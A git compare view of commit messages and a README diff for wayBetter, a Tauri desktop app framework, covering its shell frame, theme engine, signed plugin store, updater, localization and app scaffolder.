Compare commits

..

42 commits

Author SHA1 Message Date
CRT
5a2e959763 fix(shell): coordinate startup cover and tab stills 2026-09-30 12:25:46 +07:00
CRT
01f2ec0417 runtime + host: the theme engine (theme documents, choice catalog, page runtime, fonts; native theme state)
The site-independent theme engine moves from wayBetter for X into the framework:
- runtime/themeSpec.ts: theme document types, the schema's defaults (BASE_*), sanitizing,
  import, overrides, ensureContrast, font roles/stacks, font choices, backgrounds.
- runtime/themeChoice.ts: ThemeChoice and createThemeCatalog(builtins) (normalize, base,
  resolve, palette, all), choiceForId, serializeChoice.
- runtime/themeRuntime.ts: installThemeRuntime(win, site) (live CSS over the site's rules,
  --wb-* vars, site color mode, first-frame snapshot), collectRules, resolvedFonts.
- runtime/fonts.ts: bundled fonts and owner-downloaded Google Fonts from bytes.
- themeApi exports hexToRgb, mix and MONO_FAMILIES (one copy: themeTokens and themeSpec use them).
- host theme.rs: ThemeChoice/ThemeScopes over a site's ThemeSite (envelope checks against
  theme.schema.json, which theme a tab shows, page color, delivery script).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 13:07:59 +07:00
CRT
0c107b27ff lockfile: waybetter 0.4.0
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 12:50:33 +07:00
CRT
f7395f5453 docs: the shell frame in the framework (what a site supplies, styles, words, native commands)
README: "The shell frame" (createShell, the ShellSite slots and features, frame words and styles,
bootScript, preview mocks, the native commands and events it uses), the layout, the create-waybetter
app, how wayBetter for X consumes it. npm README: waybetter/shell/frame.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 12:47:19 +07:00
CRT
ffcb405c0c create-waybetter: a new app's shell is the framework's shell frame
The app skeleton's src/shell/main.tsx calls createShell with the site (pages, account rules, search,
address chips, a Home link, a Plugins section) and src/shell/Panel.tsx (the app's own tab: the
plugins, switched on or off live); app.css themes it with the --wb-c-* tokens. build.mjs bundles
the shell with waybetter/build (JSX, CSS into dist/shell.css) and writes bootScript() as boot.js.
desktop.rs keeps the frame's titlebar (custom_titlebar: true) and forwards shortcuts and link drags
(BridgeOptions::ALL); the shell capability grants the frame's window calls. Native features the
skeleton does not wire up (workspaces, sync, developer mode, plugin commands) are off in the site.
Dependencies: react, react-dom, dockview, waybetter ^0.4.0.

Tests: sources import only published subpaths (patterns included), main.tsx uses createShell, the
shell capability has the resize permission, and the skeleton typechecks with the React types.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 12:47:18 +07:00
CRT
60faed66be shell: the shell frame, createShell(site) (moved from wayBetter for X)
packages/shell/src/frame (waybetter/shell/frame): the whole shell of an app. An app describes its
site (ShellSite: names and pages, account rules, search, address chips and completions, its panel
tab, the new-tab page, palette items, deck column kinds and flags and an optional compose dock, the
media panel's composer rule, a theme store, overlays, the native features it serves) and passes
its Tauri API and i18n instance; createShell returns the root component.

- Shell.tsx: dockview host (tabs in the titlebar row, splits, drag-link drops, shortcuts, context
  menu, deck back-and-forth, session restore, workspace on start, overlay raise); state.ts (pane
  placeholders, tabs_sync one-in-flight via syncGate, shell_raise layer, profiles, layout).
- WebPanel (address bar), NewTabPage, CommandPalette + paletteModel (frame groups; site items),
  DeckView + AddColumnDialog + deckStore (site column kinds), PaneTheme + themeStore
  (createThemeStore over the app's ThemeAdapter) + chromeTheme (ChromeTheme input) + themeScopes,
  Titlebar + TitlebarExtras + icons + brand (wB mark data URI), AccountSwitcher + accountModel,
  workspaces + workspaceModel, backupModel, syncHost, devHost + devModel, pluginCommandStore,
  MediaPanel + mediaModel, searchInput, hooks, bridge (installPreviewMocks), i18n, boot.ts
  (bootScript: the first-frame boot.js), CSS themed with --wb-* tokens.
- paneModel: paneVisibility, raiseSupported, cssRgb; deckModel: isSourcePage.
- Includes the live-QA titlebar fix (dock ResizeObserver + rAF titlebar marks, dock sized by its
  insets).
- tests/frame.test.ts: every frame key has English and is used, palette order with a site,
  address fallback, layout gate, boot script, chrome variables, switcher rules, workspaces,
  deck settings with site flags.
- npm package 0.4.0: exports ./shell/frame, ./shell/frame/*, ./shell/frame/*.css (copied by the
  build); dockview and acorn optional peers; root devDependencies dockview, acorn.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 12:47:10 +07:00
CRT
37e3d8e5fc install screen: where an install comes from, in the owner's language
The source line ("wayBetter Store (signed catalog, sha256 verified)", "Link: <host>", "A file you
dropped") is built from the source kind and URL with the wb.install.source.* messages instead of
showing native code's English label.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 12:47:09 +07:00
CRT
27fa4294c4 locales: the shell frame's words (wb.*) and the install screen's source line, 51 languages
- 245 wb.* messages for the shell frame (tabs, address bar, new-tab page, palette, account
  switcher, decks, workspaces, chips, media panel, pane themes, backup preview), moved with every
  translation from wayBetter for X's catalogs; `{site}` stands where the English said "X" (10
  keys; the app passes "X", so X reads the same). English source: shell/src/frame/frameMessages.ts.
- wb.install.source.store|link|file: where an install comes from, translated in every locale
  (native code's label is English only).
- runtime/tests/i18n.test.ts: en.json is the kit, shell-model, store and shell-frame source.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 12:46:57 +07:00
CRT
f9bf487c30 docs: run_app, commands/testkit, waybetter release and waybetter/build
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:51:25 +07:00
CRT
d97aba5048 create-waybetter: the app skeleton runs on run_app, testkit, waybetter/build and waybetter release
The generated desktop.rs is config + SiteHooks + its own commands; build.rs uses
commands::manifest; capability files grant the host's commands; tests/security.rs uses testkit;
scripts/build.mjs uses buildRuntime; waybetter.release.json and release scripts (placeholder URLs).
A test keeps HOST_COMMANDS in step with commands.rs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:51:25 +07:00
CRT
dfbed5b318 cli: waybetter release windows|macos and waybetter/build (0.3.0)
release: signed NSIS/universal-macOS releases and latest.json (merge, built-in shape check plus the
app's own validator), upload steps printed only, configured by the app's waybetter.release.json;
the key is read only into the build environment or passed to the Tauri signer by path.
build: buildRuntime() bundles a page runtime IIFE with the app's esbuild (?inline CSS as text,
catalog strings limited to the runtime's prefixes). esbuild is an optional peer.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:51:24 +07:00
CRT
52a35048bc host: run_app — the window, shell, tab webviews and generic commands for every app
The `app` feature (App / run_app, AppConfig, SiteHooks): registers the Tauri plugins every app
uses (single-instance, deep-link and updater opt-in, window-state, opener, process, notification,
dialog), makes app data, loads profiles and the language, builds the window (restore, lost-geometry
reset, helper-close routing, native resize follow) and the transparent shell, and serves tabs_sync,
tab_navigate, tab_action, open_external_url, shell_focus, shell_raise, window_system_menu,
profiles_get/set, i18n_get/set (shell-only) and tab_shortcut, tab_link_drag (tab-only). The tab
builder is generic; the app fills in SiteHooks. `commands` lists them (manifest() for build.rs),
`testkit` checks capability files and caller guards, i18n::page_script is origin-guarded.
check:tauri now checks the app feature.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:51:24 +07:00
CRT
3c7415ce07 docs: what the host gives an app now includes the generic native features
Layout and "What the host gives an app": bridge, backup, sync,
workspaces, devmode, alerts, media (+ clipboard), gfonts, fonts,
updater, plugins::commands; apps enable the tauri and net features.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:22:55 +07:00
CRT
ae61ae5526 host: the tab bridge ships from waybetter-host; create-waybetter uses it
tab-bridge.js (moved from wayBetter for X) is served by bridge::SOURCE,
or by bridge::script(BridgeOptions) with shortcut and link-drag
forwarding switched off for a shell that does not handle them (a
forwarded shortcut is taken from the page). Tests: one options line,
only tab_report/tab_shortcut/tab_link_drag, every forwarded shortcut is
one tabs::valid_shortcut accepts. Generated apps now inject
bridge::script(BridgeOptions::REPORT_ONLY) instead of writing their own
duplicated src-tauri/runtime/tab-bridge.js.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:22:54 +07:00
CRT
7cbc2255a4 docs: the Store in the framework (shared catalog format, keys, tooling, trust model, adding it)
- docs/STORE.md: one signed catalog for every app (format 2, `apps` per item, field rules), Ed25519
  signing and key rotation, `waybetter store build|sign|verify` with an app config, install links,
  the trust model, and how an app adds the Store (StoreConfig, command wrappers, InstallHost,
  StoreView, tokens, strings).
- README: `store` in the layout and in what the host gives an app; the shell's Store modules.
- npm README: the Store components, models, schema and command.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:21:37 +07:00
CRT
5b8ef1f7d3 host: updater (signed native updates and the hotfix channel)
updater (tauri + net features): the launch handshake, the cached hotfix
(re-verified on every load), the 30 min +/- 5 check loop, download and
verification through tauri-plugin-updater, the size-capped hotfix fetch
(no identifiers), hotfix delivery to the site's tabs, and status/apply/
ready for the app's shell-only commands. An UpdaterConfig carries what
differs per app: SiteSpec, hotfix URL and public key, page global/event,
manual download page, user agent and the "update ready" hook.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:17:54 +07:00
CRT
006ec960a3 host: self-hosted Google Fonts (gfonts) and the font cache (fonts)
gfonts (pure): CSS2 API URLs, the fonts.googleapis.com/fonts.gstatic.com
allowlist, CSS parsing and face selection, woff2 checks, the sha256
manifest cache format and the page script, whose origin guard and
runtime global now come from the SiteSpec. fonts (net feature): the
download client (allowlist re-checked per request, no redirects, size
caps), the family/preview caches and install/remove/faces/preview for the
app's shell-only commands. Tests and CSS fixtures moved with them.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:15:10 +07:00
CRT
40ae81afbe host: gallery folders and the opt-in clipboard history
media: gallery settings (absolute folders, deduplicated), listing and
resolving images only directly inside owner-chosen folders (links must
stay inside), data URLs, the bounded clipboard history with its index
and image files, PNG encoding. media::clipboard (tauri feature): reading
the OS clipboard, the Windows change counter, skipping copies marked
private by password managers, and the opt-in polling loop (records from
the next copy after opting in; releases the clipboard while off).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:13:01 +07:00
CRT
dc44136866 cli: waybetter store build|sign|verify, the store catalog JSON Schema
Moved from wayBetter for X (scripts/build-store.mjs, scripts/sign-store.mjs) into the `waybetter`
npm package, generic over the app:

- bin/waybetter.mjs + cli/store.mjs. `build --config <store.config.mjs>`: the config names its app
  and returns its items (metadata, file path + bytes, optional preview); build replaces only that
  app's items in the shared catalog (other apps' items and files stay), removes files only its old
  items used, fills url/sha256/size/apps, and validates the whole catalog with the rules apps apply
  natively before anything is written. `sign` (and `sign --init`: create the key once, 0600, never
  overwritten) signs the exact catalog bytes; `verify` checks the signature with any listed public
  key (rotation) and the catalog rules. The private key is never printed, copied or moved; --key
  defaults to $WAYBETTER_STORE_KEY. pluginHeader() for configs.
- store-catalog.schema.json (format 2, `apps` per item), exported with the CLI module.
- Tests: multi-app builds in one folder, refusals (bad items, duplicates, paths outside the folder,
  hosts), schema vs CLI rules, sign/verify round trip incl. rotation and tampering, no key
  material printed. jsonSchema.mjs learns minItems, uniqueItems and allOf.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:12:38 +07:00
CRT
03fbfccaf5 shell: the Store view and install screen as framework React components, strings in the framework catalogs
Moved from wayBetter for X so every wayBetter app gets the Store UI; the app passes its native
bridge, theme adapter, translator and (optionally) its own controls and button classes.

- storeModel.ts: wire types of the native store commands (InstallPreview, StoreCatalogView,
  LinkEvent, StoreItem with `apps`), permission badges in the site's words, categories, item state
  (install/installed/update/changed locally/built in), search, free theme ids, versions, previews.
- installController.ts: the install screen's state machine (links incl. those queued before the
  shell listened, dropped files, store items, cancel, confirm), generic over the app's theme format
  (`ThemeAdapter`: parse, ids, facts, save) and its bridge (`StoreBackend`: invoke/listen).
- InstallDialog.tsx (`InstallHost`): the screen (Install enabled after 1 s, Enter never installs,
  tabs hidden via setOverlay) and the window-wide drop target. StoreView.tsx: search, kinds,
  categories, cards, permission badges, install/update/remove; default controls or the app's.
- store.css: both, themed with framework `--wb-*` tokens (documented; dark defaults).
- storeMessages.ts + every framework catalog: 120 `wb.store.*`, `wb.install.*`, `wb.permission.*`
  messages moved from the app catalogs with all existing translations; the six that named X take
  `{site}`; generic words the components need copied with their translations.
- npm package: exports for the new modules and store.css, optional react/react-dom peers; @types
  for the typecheck. Tests: models, controller flows with a fake bridge, every looked-up key exists.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:08:04 +07:00
CRT
c40ea12bfa host: Cargo.lock with both the store module and the alerts plugin
The alerts commit was locked against the tree before the store module
landed and dropped the store's packages (ed25519-dalek, reqwest, ...);
this is the store commit's lockfile plus tauri-plugin-notification.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:06:56 +07:00
CRT
0f97439dd2 host: keyword alerts and native notifications
alerts: keyword settings (normalized, deduplicated, bounded), the
configured-keyword check, plain bounded snippets, the per-keyword and
global Throttle and an AlertGate over any KeywordMatch (one notification
per item). With the tauri feature, alerts::notify shows a native OS
notification (tauri-plugin-notification, registered by the app).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:05:49 +07:00
CRT
6a72e81256 host: store module: install links, allow-list, signed multi-app catalog, staging and installs
Moved from wayBetter for X (distribution.rs + desktop_store.rs) so every wayBetter app gets the
Store; the app keeps its Tauri command wrappers and a `StoreConfig`.

- store::catalog (pure): `StoreConfig` (app id in the shared catalog, product, user agent, link
  scheme, store URL, public keys, allowed hosts), `AllowedHost` (raw-files-only rule for a code
  host; DEFAULT_HOSTS = waybetter.fyi, cdn1.crt.fyi, git.crt.fyi raw), install-link parsing,
  download allow-list, theme validation, catalog format 2: every item names its `apps`; the whole
  catalog is verified (Ed25519 over the exact bytes with any listed key, so keys rotate; strict
  schema; ids/files unique per app) and each app gets only its own items (another app's item is
  shape-checked but not held to this app's hosts); per-item sha256/size, install records, versions.
- store::install: `Store` (pending links, staged installs with TTL/bound, MIN_REVIEW before a
  commit, commit writes exactly the staged bytes after re-validation via PluginStore::install,
  plugin remove, records file, verified catalog + offline copy verified again when read back,
  StoreView). Plugin start/stop scripts run through a function the app passes.
- store::net (`net` feature): no-redirect, no-cookie reqwest fetch with caps; stage_link,
  stage_item, catalog(refresh).
- Tests: links, per-app allow-lists and schemes, themes, signatures incl. tampering and key
  rotation, multi-app filtering, bad items, staging/commit/remove/records/offline copy on disk,
  fetch refuses anything off the allow-list. test:rust and check:tauri build with `net`.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:05:25 +07:00
CRT
63e8a9c0b6 host: palette commands and developer mode watcher
plugins::commands: the palette commands a site tab reports (validated and
capped as a whole) and the page script that runs one, now built from the
SiteSpec (runtime global, primary origin) instead of a hard-coded x.com.
devmode: the debounced polling watcher (plugins, custom.css, one theme
file), reload order, DevError and theme-file reading; the app turns the
document into its own theme state through a callback.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:02:07 +07:00
CRT
d5b5c3f71d pageLang: report X's language even when installed before <html> exists or before the IPC bridge
At document start (where the app installs the X runtime) there is no <html> element yet, so
the lang report never ran and "Follow X" never learned X's language (found live: siteLang
stayed null). It now reads lang again at readystatechange/DOMContentLoaded, and a report
that fails (no bridge yet) is retried with a bounded backoff. Tests.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 11:01:53 +07:00
CRT
0d6e7d3323 host: saved workspaces validation
Named tab/pane/deck layouts, bounded and well-formed (slug ids, 1-60
character names, known tab kinds, http(s) URLs, size caps), moved from
the wayBetter for X app unchanged with its tests.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 10:59:20 +07:00
CRT
8ff27a629f host: settings backup envelope and encrypted folder sync
backup: the versioned .waybetter envelope (format/version checks, only the
app's registered sections kept), secret-key scrubbing, the plugins /
customCss / accounts sections every app has, plugin import checks and
atomic writes. sync: Argon2id + XChaCha20-Poly1305 snapshots of the
settings backup in a folder the owner syncs, moved unchanged from the
wayBetter for X app with its tests.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 10:58:15 +07:00
CRT
d36e2d8709 i18n: framework catalogs for the 51 languages X offers, and tests
Kit and shell-model words (18 keys) per locale, machine-drafted except English. Tests cover
locale normalization, fallback chains, direction, ICU-lite formatting and quoting, the runtime,
catalog rules (plural-only arguments, missing forms, allowEmpty), plugin strings, and that every
framework catalog passes the checks.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 09:53:49 +07:00
CRT
5f62b471f0 i18n: dependency-free message runtime, catalog checks, plugin strings, native strings
- runtime/i18n.ts: ICU-lite messages (placeholders as text, Intl.PluralRules plurals with exact
  forms, selectordinal, select, number/date/time), fallback chains (pt-BR -> pt -> en, ar-x-fm ->
  ar), X and legacy code aliases, RTL by locale, lazy catalogs, live onChange. Apostrophes are
  literal except right before { } # or another apostrophe.
- runtime/i18nCheck.ts: rules for contributed catalogs (shape, keys, syntax, placeholder parity,
  select options, markup/control characters, lengths). An argument English only uses to choose a
  plural form may be dropped; missing plural forms are warnings; meta "allowEmpty" fragments.
- runtime/pluginI18n.ts: api.i18n bound per plugin (register/t/locale/dir/onChange/number/date/
  relative/list); the UI kit's own words follow the app's language. pageLang.ts reports the
  site's <html lang>. shell/messages.ts: shell-model words.
- waybetter-host i18n.rs: NativeStrings (validated plain text, caps, one-pass {name} fill, page
  payload by prefix), system_locales via sys-locale; TabState.lang.
- JSON Schemas for catalogs and translator notes; npm exports waybetter/i18n, /i18n/check,
  /i18n/plugin.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 09:53:48 +07:00
CRT
2d4831da0a runtime: styles for created roots are constructed sheets (CSP-proof)
- styles.ts: adoptStyles(root, css) adopts a constructed stylesheet into a shadow root or document
  (not governed by a page's CSP, parsed once, stays with the root when its host is moved);
  <style> fallback where constructable sheets are missing or refused.
- UI kit: the kit's shadow root and each dialog's `css` use it (dialog CSS goes with the dialog).
- Plugin API: api.adoptCSS(root, css) and scope.adoptCSS (removed on dispose); injectCSS keeps its
  <style> and, when a CSP leaves it without a sheet, applies the same rules as an adopted sheet.
- tests/styles.test.ts.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 04:09:14 +07:00
CRT
9313f249af host: tab placements skip unchanged bounds, one SetBounds per move, and follow window resizes natively
layout.rs (headless, tested): Placements remembers each tab webview's last rectangle and
visibility, so a tabs_sync that changes nothing makes no native call and one that moves one
pane touches one webview; Frame/follow_rect estimate where panes go when the window size
changes (outer margins fixed, proportional in between, shared borders stay shared).

host.rs: place_tab/forget_tab use it; place_child is a single set_bounds (one WebView2
SetBounds instead of a move then a resize, each a page re-layout); follow_window_resizes
re-places visible tabs from the window's own Resized events on the main thread, before the
shell lays out again, and keeps WindowMetrics current so a sync needs no blocking round
trips for the window size; layout_window says when a layout was made for a stale size.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 03:23:44 +07:00
CRT
0ad52a4ce7 host: raise_shell on Linux and macOS; tab stills before a hide (Windows)
Linux: the shell becomes a GtkOverlay layer itself (an empty box is the base) and is
re-ordered to the top or bottom of the overlay; a tab placed while it is raised goes under
it. macOS: the shell's WKWebView is re-ordered among its superview's subviews
(addSubview:positioned:relativeTo:), keeping the first responder if it was in the shell.
Both now report support, so overlays no longer hide the tabs there either (the app makes the
shell webview transparent; macOS needs tauri's macos-private-api).

Windows: a tab webview about to be hidden hands the shell its last frame (WebView2
CapturePreview, JPEG, `tab-still` event), for its pane to show instead of an outline while
no webview is on screen there.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 02:39:48 +07:00
CRT
7f3a4b2428 host: raise_shell puts the shell webview above or below the tab webviews (Windows, SetWindowPos on its WebView2 container)
Shell overlays can then draw over the panes while they stay on screen.
Returns false elsewhere, where the caller hides the tabs instead.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 02:00:34 +07:00
CRT
74f4d02944 runtime: plugin commands for the command palette (api.commands / scope.commands: register, list, run, owner = the starting plugin, removed on stop, caps, in-page shortcuts); host: start/stop scripts own and drop a plugin's commands; dev_start_script with sourceURL + devError for live reload; devErrors (file:line from a start failure)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 01:35:44 +07:00
CRT
ee7907740a Plugin permissions and app installs: @permissions header, per-plugin API views, validated install/remove
- host plugins.rs: PERMISSIONS, parse_permissions, ScriptPlugin.permissions/problems (None = legacy,
  full API), validate_plugin (file name, 2 MiB, UTF-8 text without binary bytes, header with @name
  and @version, valid @permissions, network:none refused when the code calls network APIs),
  source_findings, PluginStore::install (atomic rename, never enables, keeps the enabled state on
  update) / remove / is_enabled / file_hash. start/stop scripts run the module body, construction,
  start() and stop() inside window.<global>.withPlugin(id, grants, fn) when the runtime has it.
- runtime permissions.ts: parsePermissions, scopePluginApi (undeclared gated members throw a
  PluginPermissionError; scope().ui gated like api.ui), createPluginContext (the view of the plugin
  whose code runs; legacy = full API). A declaration and guard rail, not a sandbox.
- The `commands` permission name comes from the parallel palette-commands work (its API lands there).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 01:08:52 +07:00
CRT
395b27c937 host: route graceful closes of helper windows to the app window (Windows)
tao's thread event target and the single-instance message window are visible
1 px unowned top-level windows. taskkill /PID (WM_CLOSE, no /F) closes only the
first such window in z-order; a minimized app window sinks below them, so the
close destroyed a helper and the app kept running. route_helper_closes
subclasses those helpers and forwards WM_CLOSE to the app window.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-29 00:27:10 +07:00
CRT
0344c55fa8 runtime: font roles in the theme API (fonts per role, --wb-font-<role> vars, UI kit uses the dialog/mono roles); theme schema: font.roles with Google Fonts source
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-28 23:56:37 +07:00
CRT
abdc29ba55 runtime column: set the column attributes on scan (config delivered at document start has no <html> yet), no scrollbar in columns, unread only above both the read items and what is on screen, a hidden 1 px webview counts as off screen
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-28 23:42:21 +07:00
CRT
67851cd8f5 create-waybetter: npm create waybetter scaffolds plugins (JS/TS), themes and whole apps
- plugin: *.plugin.js with the store header and start/stop on api.scope, storage, observe,
  onKey, the UI kit (toast with action, ui.h settings dialog) and api.theme/--wb-* vars;
  --ts makes a TypeScript project typed by the waybetter package (build keeps the header first)
- theme: JSON with "$schema" -> theme.schema.json, palette derived like themeFromColors,
  font roles (family, tweet), presets
- app: Tauri 2 + waybetter-host + runtime + shell models: SiteSpec, SiteAdapter, shell/tab-chrome/
  site-tab capabilities, tabs_sync, plugin store, a site-only command; presets for youtube.com,
  kick.com, twitch.tv with placeholder selectors; host crate via submodule, path or git
- tests generate into temp dirs: headers via parse_meta (new plugin_meta example), plugin code
  against createCorePluginApi's members, themes against the schema, app TS with tsc against the
  built package, app Rust with cargo metadata/check/test
- wired into bun run check (typecheck incl. checkJs, build:packages, test:create) and pack:check

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-28 23:17:32 +07:00
CRT
b3f2500314 Deck columns (Power User Mode): shell deckModel (bounded decks, paging layout, focus, unread totals), runtime column mode (hide site chrome, fill width, filters, unread tracking, no requests), host ColumnConfig bounds, TabRole, deck shortcuts, capped unread in TabState; column boxes skip rail rules
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-28 22:55:57 +07:00
CRT
3ae7744387 runtime: plugin UI kit (api.ui: toast, alert, confirm, prompt, dialog, modal) and theme API (api.theme, --wb-* vars); theme JSON Schema; waybetter 0.2.0
The kit draws in one shadow DOM host in the active theme's colors, corners and font and repaints
live; accessible dialogs (focus trap and return, Esc/Enter rules, alertdialog for alerts and
confirms), stacking with inert, toasts with actions, reduced motion, text-only content (ui.h),
and scope.ui closes a plugin's dialogs on dispose. api.toast routes to it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-28 21:47:09 +07:00
CRT
1486f31a66 host: place child webviews on Linux in a GtkOverlay over the shell
tauri 2 (runtime-wry build_gtk with the window's GtkBox) packs every child
webview into the window box, stacked and with set_position/set_size ignored,
so tab webviews landed under the shell instead of over their panes.
place_child/attach_shell move them into a GtkOverlay (shell as base layer)
and allocate each at its exact rect via get-child-position; placed_rect
reports the placement (GTK children have no position). Windows/macOS keep
set_position/set_size.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-28 21:40:51 +07:00
202 changed files with 49674 additions and 132 deletions

209
README.md
View file

@ -40,40 +40,152 @@ License: GPL-3.0-or-later.
Built something on wayBetter? Add it to this list with a pull request: name and link, what it extends, one line on what it does.
## Build your own
```sh
npm create waybetter plugin # a *.plugin.js (or --ts: a TypeScript project) on the real plugin API
npm create waybetter theme # a theme JSON with "$schema", a derived palette and font roles
npm create waybetter app -- --site kick.com # a whole app: Tauri 2 + waybetter-host + runtime + shell
```
`create-waybetter` (in `packages/create-waybetter`) asks for what it needs in a terminal, and
takes every answer as a flag (`--help`). The app skeleton is this README in code: the native
`SiteSpec`, the page `SiteAdapter`, the app on `waybetter_host::app` (its config, site hooks and
its own commands), the three capability files and a `tests/security.rs` on `waybetter_host::testkit`,
the shell (the framework's shell frame through `createShell`, with the site's pages and a plugins
panel), the plugin store, one site-only command, the
runtime bundled with `waybetter/build` and a `waybetter.release.json` for `waybetter release`, with presets for
youtube.com, kick.com and twitch.tv and every site selector marked as a placeholder. Its tests
generate each kind into a temp folder and check it against the real contracts: plugin headers with
`plugins::parse_meta`, plugin code against `createCorePluginApi`'s members, themes against
`theme.schema.json`, the app's TypeScript with `tsc` against the built package and its Rust with
`cargo check`/`cargo test` against this crate.
## Layout
```
crates/waybetter-host/ Rust: security policy, profiles, plugin store, hotfix, updates, tab payloads
crates/waybetter-host/ Rust: security policy, profiles, plugin store, hotfix, updates, tab payloads,
and the generic native features every app gets (below)
tab-bridge.js the tab bridge every tab gets (served by src/bridge.rs)
src/site.rs SiteSpec + AccountRules (the native half of the adapter)
src/policy.rs webview labels, origin checks, tab rect clamp
src/profiles.rs profiles, per-profile data dirs, native-owned accounts
src/plugins.rs *.plugin.js store, custom CSS, bundled-plugin upgrades
src/plugins/commands.rs palette commands site tabs report, and the script that runs one
src/hotfix.rs signed data-only hotfix channel (minisign)
src/update.rs silent-update scheduling and crash handshake
src/tabs.rs TabLayout/TabState/OpenRequest, link modes, shortcut and drag validation
src/tabs.rs TabLayout/TabState/OpenRequest, link modes, shortcut and drag validation,
deck ColumnConfig bounds and unread caps
src/bridge.rs the tab bridge script (reports; shortcut/link-drag forwarding opt-in)
src/backup.rs settings backup envelope, secret scrubbing, plugin/account sections
src/sync.rs encrypted folder sync (Argon2id + XChaCha20-Poly1305 snapshots)
src/workspaces.rs saved tab/pane/deck layouts, bounded and well-formed
src/devmode.rs developer mode: debounced file watcher, reload order, error positions
src/alerts.rs keyword alerts: keywords, snippets, rate limits; native notifications
src/media.rs gallery folders (path containment), clipboard history, PNG encoding
src/media/clipboard.rs (feature "tauri") opt-in clipboard polling, private copies skipped
src/gfonts.rs self-hosted Google Fonts: CSS parsing, URL/woff2 checks, cache format
src/fonts.rs (feature "net") font downloads and the font cache
src/updater.rs (features "tauri" + "net") signed native updates and the hotfix channel
src/store/ install links, download allow-list, signed multi-app store catalog, staging
and installs; downloads with feature "net" (docs/STORE.md)
src/host.rs (feature "tauri") webview helpers, shell events, system menu
src/app.rs (feature "app") the whole app around a site: run_app / App, AppConfig,
SiteHooks, the window, shell and tab webviews, the generic commands
src/commands.rs the commands the host serves and who may call them; manifest() for build.rs
src/testkit.rs capability/caller-check assertions for an app's tests/security.rs
packages/runtime/src/ page runtime core (TypeScript, no dependencies)
site.ts SiteAdapter (the page half of the adapter) + configureRuntime
domHub.ts netHub.ts one MutationObserver/frame, one fetch/XHR hook per page
pluginApi.ts core of window.<Runtime>.api for plugins
pluginApi.ts core of window.<Runtime>.api for plugins (incl. ui and theme)
ui.ts plugin UI kit: toasts, alert/confirm/prompt, dialogs (shadow DOM, themed)
themeApi.ts the active theme as values + --wb-* CSS variables (api.theme)
themeTokens.ts OKLab color model: maps the site's palette onto a theme's axis
paneNav.ts split view: park the site's navigation rail in redundant panes
column.ts deck columns: hide site chrome, fill the width, filters, unread count
linkRouting.ts divert in-page clicks to a pane/tab/browser per setting
accountReport.ts report the signed-in account of this tab's profile
packages/shell/src/ shell core (TypeScript, no dependencies)
packages/shell/src/ shell core (TypeScript) and the shell frame (React)
addressModel.ts address bar chips (site pages named by the adapter)
paneModel.ts beside-pane reuse, redundant rails, navRedundant for tabs_sync
deckModel.ts decks of site columns: bounded storage model, paging layout, focus
linkDrop.ts dropping links into the dock
profileModel.ts profiles and account labels
palette.ts command palette scoring/ranking
updateModel.ts titlebar update chip
windowControls.ts caption buttons, resize grips, system menu (Tauri API injected)
chrome.ts titlebar/toolbar/resize-border sizes (match policy.rs)
storeModel.ts storeMessages.ts Store wire types, item states, permission words; wb.store/install/permission.*
installController.ts the install screen's state machine (links, drops, store items, confirm)
InstallDialog.tsx StoreView.tsx store.css the install screen and the Store view (React peer, --wb-* tokens)
frame/ the shell frame: createShell(site) (see "The shell frame" below)
packages/waybetter/ the published npm package (runtime + shell as ESM + .d.ts, theme.schema.json,
store-catalog.schema.json, the `waybetter store build|sign|verify` and
`waybetter release windows|macos` commands, `waybetter/build`)
